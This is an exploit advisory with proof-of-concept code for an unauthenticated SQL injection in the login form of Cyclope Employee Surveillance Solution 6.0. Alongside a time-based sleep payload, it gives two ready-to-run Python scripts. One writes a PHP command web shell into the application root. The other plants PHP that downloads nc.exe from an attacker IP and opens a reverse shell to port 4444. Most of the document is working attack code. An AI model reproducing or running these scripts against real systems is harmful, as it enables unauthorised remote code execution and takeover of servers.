Cyclope Employee Surveillance Solution 6.0 SQL Injection

`# Author: loneferret of Offensive Security  
# Product: Cyclope Employee Surveillance Solution v6.0  
# Version: 6.0  
# Vendor Site: http://www.cyclope-series.com/  
# Software Download: http://www.cyclope-series.com/download/index.html  
  
# Software description:  
# The employee monitoring software developed by Cyclope-Series is specially designed to inform  
# and equip management with statistics relating to the productivity of staff within their organization.  
  
# Vulnerability:  
# Due to improper input sensitization, many parameters are prone to SQL injection.  
# Most importantly, the username parameter in the application's login form.  
#  
  
  
  
# PoC 1:  
# MySql sleep for 5 seconds.  
# No Authentication Required.  
# Page: /index.php  
# Form: login  
# Vulnerable Parameter: username  
# username: x' or sleep(5) and '1'='1  
# password: whatever  
  
# As stated, nothing is checked before passing "username" to MySql.  
# This results in MySql sleeping for 5 seconds, and a unsuccessful  
# attempt.  
  
# PoC 2:  
# Remote Code Execution  
# No Authentication Required.  
# Page: /index.php  
# Form: login  
# Vulnerable Parameter: username  
  
# Creates a small php shell in the application's root folder.  
# It also has the added bonus of writing the administrator username and password  
# Side note:  
# This assumes a default installation. Which is located in "C:\Program Files\Cyclope\Ni4xLjA=\"  
# If you are wondering what is "Ni4xLjA=", well it's the software's version number in Base64 (6.1.0).  
# Using Owasp Zap, you can spider the site to find the application's root folder if ever it changes.  
  
----Python Script Simple Backdoor----  
#!/usr/bin/python  
  
import urllib, cookielib  
import urllib2  
import sys  
  
  
print "\n[*] Cyclope Employee Surveillance Solution v6.0 Remote Code Execution"  
print "[*] Vulnerability discovered by loneferret"  
  
print "[*] Offensive Security - http://www.offensive-security.com\n"  
if (len(sys.argv) != 3):  
print "[*] Usage: poc.py <RHOST> <CMD>"  
print "[*] Ex. : poc.py 127.0.0.1 ipconfig"  
exit(0)  
  
rhost = sys.argv[1]  
rcmd = sys.argv[2]  
  
backdoor = "<?php system($_GET['exe']);?>"  
  
prepayload = "x' or (SELECT 0x20 into outfile '/Progra~1/Cyclope/Ni4xLjA=/cmd.php' "  
prepayload += "LINES TERMINATED BY 0x%s) and '1'='1" % backdoor.encode('hex')  
  
act = 'auth-login'  
pag = 'login'  
password = 'hole'  
  
cj = cookielib.CookieJar()  
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))  
post_params = urllib.urlencode({'act' : act, 'pag' : pag, 'username' : prepayload, 'password' : password})  
print "[*] Sending evil payload"  
resp = opener.open("http://%s:7879/" % rhost, post_params)  
print "[*] Triggering backdoor"  
cmd = 'http://%s:7879/Ni4xLjA=/cmd.php' % rhost  
page = urllib.urlopen(cmd)  
print "[*] Executing command: %s\n" % rcmd  
shell = 'http://%s:7879/Ni4xLjA=/cmd.php?exe=%s' % (rhost,rcmd)  
try:  
page = urllib.urlopen(shell)  
cmd = page.read()  
print cmd  
except:  
print "[-] Oups! Somthing happened"  
  
  
  
  
---Python Getting Shell---  
#!/usr/bin/python  
  
import urllib, cookielib  
import urllib2  
import sys  
  
  
print "\n[*] Cyclope Employee Surveillance Solution v6.0 Remote Code Execution"  
print "[*] Vulnerability discovered by loneferret"  
  
print "[*] Offensive Security - http://www.offensive-security.com\n"  
if (len(sys.argv) != 2):  
print "[*] Usage: poc.py <RHOST>"  
exit(0)  
  
rhost = sys.argv[1]  
  
backdoor = '''<?php  
file_put_contents("nc.exe",  
file_get_contents("http://172.16.194.163/nc.exe"));  
shell_exec("nc.exe 172.16.194.163 4444 -e cmd.exe");?>'''  
  
prepayload = "x' or (SELECT 0x20 into outfile '/Progra~1/Cyclope/Ni4xLjA=/cmd.php' "  
prepayload += "LINES TERMINATED BY 0x%s) and '1'='1" % backdoor.encode('hex')  
  
act = 'auth-login'  
pag = 'login'  
password = 'hole'  
  
cj = cookielib.CookieJar()  
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))  
post_params = urllib.urlencode({'act' : act, 'pag' : pag, 'username' : prepayload, 'password' : password})  
print "[*] Sending evil payload"  
try:  
resp = opener.open("http://%s:7879/" % rhost, post_params)  
print "[*] Triggering Shell"  
shell = 'http://%s:7879/Ni4xLjA=/cmd.php' % rhost  
page = urllib.urlopen(shell)  
cmd = page.read()  
except:  
print "[-] Oups! Somthing happened"  
  
  
`